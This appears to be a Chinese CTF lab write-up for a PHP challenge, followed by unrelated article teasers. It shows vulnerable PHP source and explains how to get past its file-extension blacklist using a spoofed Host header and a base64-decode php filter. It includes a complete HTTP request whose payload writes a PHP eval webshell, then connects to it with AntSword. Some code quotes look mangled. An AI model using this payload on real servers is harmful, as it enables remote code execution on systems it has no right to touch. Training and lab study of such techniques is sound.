PHP-综合4

news/2025/2/25 20:03:21

[题目信息]:

题目名称题目难度
PHP-综合42

[题目考点]:

PHP综合训练

[Flag格式]:

SangFor{Ouk3i63BuShgxqdRcn_9kMNqKFDe5j4f}

[环境部署]:

docker-compose.yml文件或者docker tar原始文件。

http://分配ip:2087

[题目writeup]:

1、实验主页

2、源码分析

<?php
if(isset($_GET['read-source'])) {
    exit(show_source(__FILE__));
}

define(‘DATA_DIR’, dirname(FILE) . ‘/data/’ . md5($_SERVER[‘REMOTE_ADDR’]));

if(!is_dir(DATA_DIR)) {
mkdir(DATA_DIR, 0755, true);
}
chdir(DATA_DIR);

$domain = isset($_POST[‘domain’]) ? $_POST[‘domain’] : ‘’;
$log_name = isset($_POST[‘log’]) ? $_POST[‘log’] : date(’-Y-m-d’);
?>
<?php if(!empty($_POST) && $domain):
$command = sprintf(“dig -t A -q %s”, escapeshellarg($domain));
$output = shell_exec($command);
$output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);
$log_name = $_SERVER[‘SERVER_NAME’] . $log_name;
if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), [‘php’, ‘php3’, ‘php4’, ‘php5’, ‘phtml’, ‘pht’], true)) {
file_put_contents($log_name, $output);
}
echo $output;
endif; ?>

分析题目代码,首先把眼光放在可以写入文件的地方

$log_name = $_SERVER['SERVER_NAME'] . $log_name;
if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
    file_put_contents($log_name, $output);
}

可以看到,文件名是由$_SERVER['SERVER_NAME']$log_name两部分组成的。

$log_name可以由$_POST['log']来控制,至于$_SERVER['SERVER_NAME']可以通过修改Host头部进行控制。

在官方文档中表明,在Apache2中没有进行相应设置的话,这个值是会由客户端进行提供。

!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)

可以看到在源代码中只进行了文件后缀名的判断,但并没有以获取到的文件后缀当作写入文件的后缀,就可以利用shell.php/.的方式绕过。

观察写入文件内容,有一小部是用户可以自定义控制的,但是不能插入尖括号这些html字符,因为进行了一次转义。

这里可以利用php的伪协议,就可以控制写入文件的方式。base64解码中遇到不符合规范的字符直接跳过。所以虽然我们只能控制一部分内容,但是其他内容并不影响base64解码。另外因为base64解码是4位4位的解的,所以我们要保证我们需要解码的字符串之前的合法字符数为4的倍数,这样就不会影响我们传入的字符串正常解码。

需要注意的是base64中的=只能出现在最末尾,而我们插入的字符串是在中间的,所以我们插入的字符串里不能有=

发送数据包

POST / HTTP/1.1
Host: php
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://192.168.17.87:2087/
Cookie: PHPSESSID=056395276464d1b4480bc1457efbb106
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 102

domain=PD9waHAgZXZhbCgkX1BPU1RbJ3gnXSk7Pz4y&log=://filter/write=convert.base64-decode/resource=2.php/.

蚁剑连接data目录下,MD5编码访问者ip目录下的2.php文件即可


http://www.niftyadmin.cn/n/5865908.html

相关文章

自学Linux系统软件编程第四天

进程 概念 进程&#xff1a;就是程序执行的过程&#xff0c;包括创建、调度和消亡&#xff0c;是活的 程序&#xff1a;一段数据的…

vue2中,打包报错ERROR in /node_modlules/@types/lodash/common/common.d.ts 26

报错如下&#xff1a; 解决 尝试安装lodash另外一个版本&#xff0c;然后重新打包 npm install --save types/lodash4.14.74

WPS计算机二级•文档的页面设置与打印

听说这是目录哦 纸张大小页边距和装订线❤️‍&#x1f525;打印界面讲解❤️缩印&#x1f495;打印作文稿纸&#x1f49e;将文档打印成书籍&#x1f493;限制编辑设置&#x1f497;给文字文档加密&#x1f496;文档导出为 PDF格式&#x1f498;协作编辑模式&#x1f49d;能量站…

使用 Apache Jena 构建 RDF 数据处理与查询服务

一、引言 随着语义网和知识图谱技术的不断发展&#xff0c;RDF&#xff08;Resource Description Framework&#xff09;作为一种用于描述资源的框架&#xff0c;被广泛应用于知识表示和数据集成。Apache Jena 是一个功能强大的 Java 框架&#xff0c;用于处理 RDF 数据和 SPA…

Spring Boot 中的日志管理

一、日志框架选择 1. 主流框架对比 框架特点Spring Boot 默认支持Logback- 性能优异&#xff0c;Spring Boot 默认集成- 支持自动热更新配置文件✅ (默认)Log4j2- 异步日志性能更强- 支持插件扩展- 防范漏洞能力更好❌ (需手动配置)JUL (JDK自带)- 无需额外依赖- 功能简单&am…

《深度剖析Linux 系统 Shell 核心用法与原理_666》

1. 管道符的用法 查找当前目录下所有txt文件并统计行数 # 使用管道符将ls命令的结果传递给wc命令进行行数统计 ls *.txt | wc -l 在/etc目录下查找包含"network"的文件并统计数量 # 使用find命令查找文件&#xff0c;并通过grep查找包含特定字符串的文件&#xf…

永洪科技旗下BI产品,成功入选“金融信创优秀解决方案“

3月28日至29日&#xff0c;金融信创生态实验室在京举办金融信创解决方案研讨会&#xff0c;发布第三期金融信创优秀解决方案、实验室推荐解决方案&#xff0c;启动解决方案的分享活动。 永洪科技凭借旗下的敏捷BI数据分析平台&#xff0c;成功入选“金融信创优秀解决方案&…

【FAQ】HarmonyOS SDK 闭源开放能力 —Ads Kit(2)

1.问题描述&#xff1a; 应用需要获取一个唯一不变的标识生成deviceID。 当前通过OAID生成&#xff0c;但每次重启PC样机&#xff0c;获取到的OAID都会变化&#xff0c;无法满足唯一不变的需求。 解决方案&#xff1a; 需要获取一个唯一不变的标识&#xff0c;可以尝试使用O…